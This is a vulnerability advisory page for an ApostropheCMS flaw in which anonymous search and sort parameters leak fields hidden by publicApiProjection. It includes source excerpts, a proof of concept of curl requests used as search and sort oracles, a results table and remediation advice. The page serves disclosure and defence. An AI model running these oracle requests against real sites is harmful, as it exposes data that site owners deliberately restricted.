medium

CVE-2026-112954

npm · apostrophe

Summary

ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API

Severity
medium
CVSS
5.3
EPSS
0.4% (p38)
CWE
CWE-200
Also known as
GHSA-rqgm-cfrp-4hx8
Published
2026-10-21
Updated
2026-10-21

Advisory details

Summary

ApostropheCMS lets a module expose an anonymous read API by setting publicApiProjection, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string before forcing that projection. Two of those builders, search and sort, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore:

This is the same confidentiality-bypass class already patched for the choices/counts builders (gated by choicesFieldAllowedByProjection). That gate was never applied to search or sort.

Details

For an anonymous caller, getRestQuery (piece types: modules/@apostrophecms/piece-type/index.js:1142; pages: modules/@apostrophecms/page/index.js) does:

const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query);            // (1) apply ALL launderable builders from the query string
...
query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection
query.set('publicApiProjection', self.options.publicApiProjection);            // (3) used only by the choices/counts gate

applyBuildersSafely (modules/@apostrophecms/doc-type/index.js:3327) runs any builder that has a launder method. search and sort both have one (doc-type/index.js:2288 and 2127), so ?search= and ?sort[...]= are honored for anonymous requests.

Search vector. The search builder adds { $text: { $search: <user input> } } (doc-type/index.js:2282). The $text index covers highSearchText / lowSearchText / title / searchBoost (modules/@apostrophecms/doc/index.js:612). highSearchText / lowSearchText are built at save time by @apostrophecms/search:getSearchTexts → apos.schema.indexFields(schema, doc, texts) (modules/@apostrophecms/search/index.js:377), which indexes every schema field where searchable !== false (the default for string/text fields). publicApiProjection does not imply searchable: false. Step (2) narrows the output but not the $text filter, so the response returns the projected {title, slug, _id} of exactly the documents whose hidden field contains the searched word.

Sort vector. finalizeSort (doc-type/index.js:3526) forwards raw user sort keys to MongoDB (it only rewrites fields flagged sortify: true). ?sort[hiddenField]=1 orders results by a projection-excluded field. Combined with perPage/page, an attacker can page through the fully ordered set.

Neither builder consults publicApiProjection, whereas choices/counts are gated at doc-type/index.js:2807 via choicesFieldAllowedByProjection.

PoC

Preconditions: the piece/page type sets publicApiProjection, and its schema has at least one searchable (default) or sortable field not included in the projection.

Test type: article exposes only title, slug, _id, but has hidden secret (integer) and secretNote (searchable string):

export default {
  extend: '@apostrophecms/piece-type',
  options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } },
  fields: { add: {
    secret:     { type: 'integer' },
    secretNote: { type: 'string' }   // searchable by default; NOT in the projection
  } }
};

Five articles were inserted and published via the authenticated REST API: A.secret=50, secretNote="zzsecretalpha"; B=10/zzsecretbravo; C=90/zzsecretcharlie; D=30/zzsecretdelta; E=70/zzsecretecho. The insert responses confirm the hidden secretNote value is written into the search index, e.g. for A: "highSearchText": "... zzsecretalpha", "lowSearchText": "... zzsecretalpha".

Anonymous requests (no credentials, no session):

# [1] Baseline: projection hides secret/secretNote on direct read
curl -s 'http://localhost:3000/api/v1/article?perPage=1'

# [2] Search oracle: value exists ONLY in hidden secretNote
curl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha'
curl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz'

# [3] Sort oracle: order by hidden integer field
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1'
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1'

# Negative control: projection override is blocked
curl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1'

Results (verified on ApostropheCMS 4.32.2, MongoDB 7.0):

Request (anonymous) Observed Verdict
GET /api/v1/article _id,title,slug,type,metaType,cacheInvalidatedAt projection works on direct read
?search=zzsecretalpha only Article A (with textScore) leak: locates doc by hidden field
?search=zznotpresentxyz 0 results oracle confirmed
?sort[secret]=1 B, D, A, E, C (= 10,30,50,70,90) leak: full hidden ordering
?sort[secret]=-1 C, E, A, D, B reverse confirmed
?project[secretNote]=1 secretNote absent gated (projection override blocked)

Impact

Unauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with publicApiProjection:

No authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly the data the projection is meant to conceal. Affects sites that configure publicApiProjection on piece types or pages, up to and including 4.32.2 (same code path present on current main).

Remediation

Gate search, sort (and autocomplete, which feeds search) on the public API path the same way choices/counts are gated. When publicApiProjection is in force:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.